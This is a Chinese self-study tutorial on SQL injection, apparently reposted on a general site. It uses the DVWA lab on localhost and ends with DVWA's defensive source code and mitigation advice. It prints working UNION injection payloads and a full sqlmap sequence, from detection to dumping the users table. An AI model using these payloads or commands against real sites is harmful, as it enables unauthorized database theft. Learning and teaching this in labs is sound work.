失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > 自学渗透测试:使用 DVWA 和 SQLmap 探寻 SQL 注入攻击与防范

自学渗透测试:使用 DVWA 和 SQLmap 探寻 SQL 注入攻击与防范

时间:2019-10-15 19:53:44

相关推荐

自学渗透测试:使用 DVWA 和 SQLmap 探寻 SQL 注入攻击与防范

数据来源

本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。

01 耳熟能详的SQ注入是什么?

关于SQL注入漏洞,维基百科是这样解释的

SQL注入(英语:SQL injection),也称sαL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检査,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

先了解SQL是什么?

SQL: Structured Query Language 结构化查询语言

隐患严重的漏洞 - SQL injection

select ticket_num from Movie_data where movie_name='长津湖'

select ticket_num from Movie_data where movie_name='长津湖' order by 1 #

02 这个SQL漏洞我们如何利用?

1)打开DVWA靶场

2)将安全等级调到最低-low

3)选择SQL注入

4)如何利用漏洞?首先查看开发人员是如何写的这SQL语句

代码解析:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

SQL injection low:怎样判断sq注入漏洞呢?

代码中的蓝色字体代表开发者写的,红色字体是用户输入

【# 作用移除后面的sql语句,防止后面其他语句影响攻击测试】

测试一下,输入:1'and 1 = 1#

现在把1=1改成1=2再测试一下

5)利用SQL漏洞,一般步骤如下:

1. 判断列/字段数 order by [列数] #ORDER BY是SQL 的排序子句

2. 联合查询其他信息 union select [sql1] [sql2]

1' union select user(),database()#

3. 联合查询表 union select table_name, table_schema from information_schema.tables where table_schema= ' [数据库名称]'

1' union select table_name, table_schema from information_schema.tables where table_schema='dvwa'#'

注意:information_schema数据库是一个默认的数据库,mysql5.0以上都会存在

4. 联合查询信息 union[ 查询sql]

1' union select user,password from users#

03 sqlmap功能及应用(SQLmap 把复杂的利用过程自动化)

SQLmap官网:/

中文手册

Sqlmap中文手册_Werneror的博客-CSDN博客_88xx.info

Releases · kvko/sqlmap-wiki-zhcn · GitHub

检测漏洞

枚举数据库

枚举数据表

hetianlab是上一步爆出的数据库名

枚举数据表列

脱库(慎用,这个操作没有经过数据库主人允许是犯法的)

简单利用过程:(我这里使用kali虚拟机在dvwa靶场上演示)

kali上部署dvwa漏洞测试平台 - -零 - 博客园

kali上部署dvwa漏洞测试平台 - 走看看

打开kali系统在命令行输入sqlmap测试一下如果不想在kali安装靶场也可以使用win7的IP在kali系统的浏览器内登

输入sqlmap测试一下

打开DVWA靶场

首先:命令行启动apache2和mysql服务(如果你是使用win7系统登录,就忽略这一步)

service apache2 start# 启动apache2

service mysql start# 启动mysql

然后在浏览器输入:http://127.0.0.1/dvwa/登录

第一步:检测漏洞

sqlmap-u "要检查的网址"--cookie ="网站登录后,后端返回的cookie值"#cookie值如何获取请往下翻(cookie 就是个登录凭证,证明你已经登录了他们网站)

获取要测试的URL

cookie 的作用:告诉软件你已经登录了,如何获取网站的cookie?

回到网址按:F12 # 进入开发者模式

拿到了网址地址和cookie后,就可以粘贴到kali的命令行中运行命令:

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low"

扫扫描结果:有SQL漏洞,数据库是MySQL且版本大于>=5.0.12(mysql数据库大于5.0版本就会存在默认的数据库:information_schema)

第二步:获取数据库名

在第一步检测的的命令后面加上:--dbs#database server获取所有数据库名

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" --dbs

第三步:获取指定数据库表

在第一步检测的的命令后面加上:-D 数据库名称 --tables #-D(Database)指定想要获取的数据库名,--tables 枚举(遍历)DBMS数据库中的表

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" -D dvwa --tables

第四步:获取指定数据库列/表项

在第一步检测的的命令后面加上:-D 数据库名 -T 数据库的表名--columns #--columns列出表项/例

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" -D dvwa -T users --columns

第五步:获取数据

把第四步命令后面的--columns换成:--dump # 读取数据

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" -D dvwa -T users --dump

是否需要破解,列数据中加密的内容,我选了:y

图片来源

SQL Injection(注入)防御

防御 medium (中级、中等)

<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);switch ($_DVWA['SQLI_DB']) {case MYSQL:$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}break;case SQLITE:global $sqlite_db_connection;$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";#print $query;try {$results = $sqlite_db_connection->query($query);} catch (Exception $e) {echo 'Caught exception: ' . $e->getMessage();exit();}if ($results) {while ($row = $results->fetchArray()) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}} else {echo "Error in fetch ".$sqlite_db->lastErrorMsg();}break;}}// This is used later on in the index.php page// Setting it here so we can close the database connection in here like in the rest of the source scripts$query = "SELECT COUNT(*) FROM users;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );$number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]);?>

但是现在的安全等级是中级,还是存在漏洞的

防御 high (高级)

按照上面的方法调为高级即可

<?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break;case SQLITE:global $sqlite_db_connection;$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";#print $query;try {$results = $sqlite_db_connection->query($query);} catch (Exception $e) {echo 'Caught exception: ' . $e->getMessage();exit();}if ($results) {while ($row = $results->fetchArray()) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}} else {echo "Error in fetch ".$sqlite_db->lastErrorMsg();}break;}}?>

防御 impossible(不可能被攻击的)

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {$id = intval ($id);switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}break;case SQLITE:global $sqlite_db_connection;$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result = $stmt->execute();$result->finalize();if ($result !== false) {// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns = $result->numColumns();if ($num_columns == 2) {$row = $result->fetchArray();// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}break;}}}// Generate Anti-CSRF tokengenerateSessionToken();?>

其他防御措施

对输入数据进行验证和过滤:应该验证所有用户提供的数据,包括表单、Cookie 和 URL 参数等,确保它们是符合预期格式的。例如,检查输入是否只包含可接受的字符,并确保任何 SQL 关键字都被转义或删除。使用参数化查询:在构建 SQL 查询时,应该使用参数化查询而不是内插字符串。参数化查询是把查询分成两部分:SQL 命令本身和与之绑定的参数。这样做有助于避免注入攻击和其它常见安全问题,因为它强制开发人员使用安全的编码实践,同时提供内置的转义和防御机制。降低数据库权限:将应用程序访问数据库的权限限制到最小必要级别。尽可能使用最小化的权限来避免敏感数据泄露或损坏。此外,避免直接使用管理员账户连接到数据库服务器。更新和修补应用程序:保持 Web 应用程序和相关组件(如数据库系统和服务器软件)的更新状态非常重要,以便及时修复已知安全漏洞。及时升级操作系统和安装防病毒软件也能提高 Web 应用程序的安全性。安全配置 Web 服务器:应该确保 Web 服务器的文件系统和数据库不可通过网络直接访问,只允许需要的服务(例如 web 或数据库服务)开放对外访问,也可以考虑使用 WAF 等网络安全设备进行综合防御。在集成测试中加入安全扫描:及时发现并修复安全漏洞是很重要的,而这个过程应尽可能始于应用程序的设计之初。在每次的迭代周期中,应该纳入单元测试和集成测试以及安全扫描等环节,对应用程序和系统进行全方位的评估,加固安全性。

开发人员和管理员应该了解有关 SQL 注入攻击的基础知识,并严格遵守相关安全标准和最佳实践。

如果觉得《自学渗透测试:使用 DVWA 和 SQLmap 探寻 SQL 注入攻击与防范》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。